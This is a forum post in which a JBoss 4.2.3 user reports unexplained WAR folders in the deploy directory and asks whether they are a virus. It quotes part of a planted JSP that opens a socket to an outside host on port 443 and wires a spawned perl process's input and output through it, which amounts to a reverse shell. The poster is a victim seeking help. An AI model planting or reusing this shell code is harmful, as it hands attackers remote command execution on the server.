13 Replies Latest reply on Oct 21, 2011 5:15 AM by wus81

    Virus?

    rkhlin

      Recently I found some random war folders were created in my JBoss 4.2.3 deploy folder, like the attached snapshot.

      Inside those war folders, I can find a jsp file, also with random name as well. the content is like the following: (also attached 2 samples)

      ...

      Socket socket = new Socket("some.u.rl",443);

      Process process = Runtime.getRuntime().exec("perl .ICE-unix");

      (new StreamConnector(process.getInputStream(), socket.getOutputStream())).stop();

      (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();

      ...

       

      Anyone knows this? Is it a virus???

      If it is, I use Avast, but it can't find the virus...

       

      Please help!